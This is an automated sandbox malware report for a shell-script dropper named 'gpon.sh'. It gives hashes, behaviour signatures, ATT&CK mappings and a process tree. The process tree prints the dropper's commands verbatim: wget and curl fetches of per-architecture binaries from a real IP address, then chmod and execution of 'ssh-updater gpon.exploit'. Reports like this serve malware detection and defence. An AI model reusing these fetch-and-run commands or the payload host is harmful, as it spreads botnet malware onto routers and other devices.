881be033c2f28e7f3ad6bb7299809fba8a399b10ce389c5cf6191412b556a473

Analysis

max time kernel
2s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20261019-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/10/2026, 10:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
gpon.sh
Size 2KB
Sample261027-mgqbastsby
SHA256 881be033c2f28e7f3ad6bb7299809fba8a399b10ce389c5cf6191412b556a473
MD5 c33c3e3da7d64f32f554dd3dd8e29f90
SHA1 fbb442c61bf7e91da41f6e1dea174ce4842536ee
SHA512 c11bf6e48fb7dc4fe6b62dbe6123ab399a277f147f013c1bcb9a5d69a04f52f85c4954e39b8eec914e82e4b80d62a0b81c9f9dc727647bb2fd733489cf2e9002
TLSH
T16B5144C50373C978796AFD4F3DE68B14B980B4916CC6AA84B5EC79EC05CEE39584C14B
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1617	chmod
1560	chmod
1568	chmod
1583	chmod
1591	chmod
1601	chmod
1606	chmod
1611	chmod
1573	chmod
1578	chmod
1587	chmod
1596	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/ssh-updater	1561	gpon.sh
/tmp/ssh-updater	1569	gpon.sh
/tmp/ssh-updater	1574	gpon.sh
/tmp/ssh-updater	1579	gpon.sh
/tmp/ssh-updater	1584	gpon.sh
/tmp/ssh-updater	1588	gpon.sh
/tmp/ssh-updater	1592	gpon.sh
/tmp/ssh-updater	1597	gpon.sh
/tmp/ssh-updater	1602	gpon.sh
/tmp/ssh-updater	1607	gpon.sh
/tmp/ssh-updater	1612	gpon.sh
/tmp/ssh-updater	1618	gpon.sh

Traces itself 2 IoCs

Traces itself to prevent debugging attempts

pid	Process
1584	ssh-updater
1588	ssh-updater

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx
behavioral1/files/fstream-6.dat	upx

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1589	wget
1590	cat

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mewww.arm5	wget
File opened for modification	/tmp/mewww.x86_64	wget
File opened for modification	/tmp/mewww.mpsl	wget
File opened for modification	/tmp/mewww.m68k	wget
File opened for modification	/tmp/mewww.sh4	wget
File opened for modification	/tmp/mewww.arc	wget
File opened for modification	/tmp/.cd952fec18984c17	curl
File opened for modification	/tmp/mewww.arc	curl
File opened for modification	/tmp/mewww.arm	wget
File opened for modification	/tmp/ssh-updater	gpon.sh
File opened for modification	/tmp/mewww.arm6	wget
File opened for modification	/tmp/mewww.arm7	wget
File opened for modification	/tmp/mewww.mips	wget
File opened for modification	/tmp/mewww.ppc	wget
File opened for modification	/tmp/mewww.x86	wget

/tmp/gpon.sh
/tmp/gpon.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1553
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm -O mewww.arm
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/cat
  cat mewww.arm
  2⤵
  PID:1559
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm5 -O mewww.arm5
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/cat
  cat mewww.arm5
  2⤵
  PID:1567
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1569
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm6 -O mewww.arm6
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/cat
  cat mewww.arm6
  2⤵
  PID:1572
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm7 -O mewww.arm7
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/cat
  cat mewww.arm7
  2⤵
  PID:1577
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86 -O mewww.x86
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/cat
  cat mewww.x86
  2⤵
  PID:1582
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:1584
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86_64 -O mewww.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/cat
  cat mewww.x86_64
  2⤵
  PID:1586
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:1588
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mips -O mewww.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1589
- /bin/cat
  cat mewww.mips
  2⤵
  - System Network Configuration Discovery
  PID:1590
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1592
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mpsl -O mewww.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/cat
  cat mewww.mpsl
  2⤵
  PID:1595
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1597
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.ppc -O mewww.ppc
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/cat
  cat mewww.ppc
  2⤵
  PID:1600
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1602
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.m68k -O mewww.m68k
  2⤵
  - Writes file to tmp directory
  PID:1604
- /bin/cat
  cat mewww.m68k
  2⤵
  PID:1605
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1606
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1607
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.sh4 -O mewww.sh4
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/cat
  cat mewww.sh4
  2⤵
  PID:1610
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1612
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arc -O mewww.arc
  2⤵
  - Writes file to tmp directory
  PID:1614
- /usr/bin/curl
  curl -o mewww.arc http://45.66.228.20/bins/mewww.arc
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/cat
  cat mewww.arc
  2⤵
  PID:1616
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:1617
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:1618

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mewww.arm

Path /tmp/mewww.arm
Size 77KB
SHA256 e46dfe295c900777bd3a9da5ca9d96421ef5dd230bca7e764154c87318fd4720
MD5 f5166fac7bed1ea81796ccd223a1ceb2
SHA1 ff4682a57a1f7ffc9f3a164267dd3bbbe3d54135
SHA512 2cf3f92c0bd57f3ea5dbee6fc9fa738e4caab06356fdf755f7cfe1c2044ccd609d24b9eacb1902ac4c6462ac96af23e4633785de1954c8195023a2831be473a8
SSDEEP 1536:rk5mPBwBjc8PIGDV7qSjfZWo+jLNAk4rFj0rkCDP5Owft:jZwabepzRX+jexrdaP9F
TLSH
T1B7730268AA1E94EDD813993D250F46917CAE4A9DDF93783260A1F6C9AFD0FC71B60103
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 76KB
SHA256 06044efe3f19c9e3635689c7d817deb6ba4f7ad390fa742d8be17148a59dfa9b
MD5 0fe6e3276d9ce596cb9d4f110d73a4c1
SHA1 22f5d1a86db2ffd671fd90a4fecdfa0824a9a9e1
SHA512 896641aadb48c56434095098d5875b87faec606b4705161d5d31e1fa2ebc5709d419a0a9f140c2ddeeba91c1e5a83961a9e5d08ba03bfaf0a8743fe7288c7a20
SSDEEP 1536:r/j3B5/bw34cpR0i88W2VXYUB5fP8pD18IRf318wJAUMxhCxDMqCKwmNifRf+:Djx5/bwoc7X5WjUX8lKI9qJUih4DMqak
TLSH
T1777301C11857BA85C53E143BF97A8096F955BFB4CDB87F28790C8404DE80AB737B8A48
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 180KB
SHA256 48356530c9442e55c83b39e862189dbb675a608b27400c0b161f934c3519a9cd
MD5 2d83c5955c92cb01a8462d6bc346da66
SHA1 76211410d974f30443e5b9428447d51eb9bb6334
SHA512 321d0dadbbaa45af626573d088a93e92fbf163ae7a1ccbe3e70aab1cbb6316d0525c3cacf7768d753f0d9a2161a6e5d0f938525be84cf6316de66743a9d75192
SSDEEP 3072:xMrNSmyyYWgaaI+FKv1f9mKx82c9t7VmiBkA4qPAZVv0Phg/q6i9IHNOP:xcgmlLT91fMO85RVmEJg/QVP
TLSH
T17104AE60B015ADEBC51209B20024D4B507417DA053E3A2E5F49EF7EE4FA7ED1BEAD6B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads